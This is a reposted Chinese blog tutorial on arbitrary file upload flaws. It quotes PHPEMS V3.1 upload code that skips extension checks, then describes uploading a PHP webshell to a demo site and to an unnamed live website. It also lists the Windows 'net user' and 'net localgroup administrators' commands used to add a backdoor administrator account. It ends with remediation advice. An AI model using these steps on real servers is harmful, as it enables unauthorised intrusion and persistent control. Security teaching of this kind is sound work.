0x01 前言
不想说其他的,发这篇文章就是看坏蛋不爽。
0x02 什么是任意文件上传漏洞
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许***者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
0x03 任意文件上传漏洞的危害
允许用户上传任意文件可能会让***者注入危险内容或恶意代码,并在服务器上运行。
0x04 实战的案例(白盒测试)
PHPEMS V3.1 (喷子喷之前请下载看看,如果有问题,欢迎指点)
phpems3.1/app/document/api.php
public function uploadfile() { $fn = $this->ev->get('CKEditorFuncNum'); $upfile = $this->ev->getFile('upload'); $path = 'files/attach/files/content/'.date('Ymd').'/'; if($upfile) $fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts); if($fileurl) { $message = '上传成功!'; $args = array(); $args['attpath'] = $fileurl; $args['atttitle'] = $upfile['name']; $args['attext'] = $this->files->getFileExtName($upfile['name']); $args['attsize'] = $upfile['size']; $args['attuserid'] = $this->_user['sessionuserid']; $args['attcntype'] = $upfile['type']; $this->attach->addAttach($args); $str = '<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('.$fn.', \''.WP.'/'.$fileurl.'\', \''.$message.'\');</script>'; } else { $message = '上传失败,附件类型不符!'; $str = '<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('.$fn.',false, \''.$message.'\');</script>'; } echo $str; } public function swfupload() { $path = 'files/attach/p_w_picpaths/content/'.date('Ymd').'/'; $upfile = $this->ev->getFile('Filedata'); if($upfile) $fileurl = $this->files->uploadFile($upfile,$path,NULL,NULL,$this->allowexts); if($fileurl) { $args = array(); $args['attpath'] = $fileurl; $args['atttitle'] = $upfile['name']; $args['attext'] = $this->files->getFileExtName($upfile['name']); $args['attsize'] = $upfile['size']; $args['attuserid'] = $this->_user['sessionuserid']; $args['attcntype'] = $upfile['type']; $this->attach->addAttach($args); if($this->ev->get('imgwidth') || $this->ev->get('imgheight')) { if($this->files->thumb($fileurl,$fileurl.'.png',$this->ev->get('imgwidth'),$this->ev->get('imgheight'))) $thumb = $fileurl.'.png'; else $thumb = $fileurl; } else $thumb = $fileurl; exit(json_encode(array('status' => 'succ','thumb' => $thumb))); } else { exit(json_encode(array('status' => 'fail'))); } } 上传的时候,调用uploadfile函数 public function uploadFile($file,$updir,$**tension = NULL,$name = NULL) { if(!$**tension)$**tension = $this->getFileExtName($file['name']); if(!$name)$name = time().rand(1000,9999); if(!file_exists($updir))$this->mdir($updir); $url = $updir.$name.'.'.$**tension; if(file_exists($url))unlink($url); move_uploaded_file( $file['tmp_name'], $url ) ; if (file_exists($url)) { $oldumask = umask(0) ; chmod( $url, 0777 ) ; umask( $oldumask ) ; } return $url; }
可以看出来,这里对文章的类型没有做任何判断,直接进行上传,这里拿官方demo测试,随便注册一个账号,到个人信息处,上传头像。修改文件后缀为php
在返回包查看返回的路径
然后我们访问我们的shell
这里推荐下i春秋的任意文件上传的课程,挺不错,还有解析漏洞,有兴趣的可以看一下。
0x05 实战的案例(黑盒测试)
以某网站为例(猴子又要骂我禽兽了)
我们先到后台
弹出了这个,在这儿选择上传表格,这里没有对文件进行限制, 我们可以上传任意的文件上去,这儿我传了shell
通过菜刀连接我们的***,拿到webshell
使用菜刀执行命令
net user username password /add
<!--创建一个用户-->
net localgroup administrators username /add
<!--给这个用户赋予管理员的权限-->
然后我们连接上服务器,进了服务器可以做多少事,大家心里应该是有数的
0x06 修复建议
对上传的文件后缀进行判断,如果是上传头像处,仅允许jpg、png、gif等图片文件格式上传,而且对图片进行二次渲染,防止***利用解析漏洞来getshell。
转载于:https://blog.51cto.com/8089739/1832021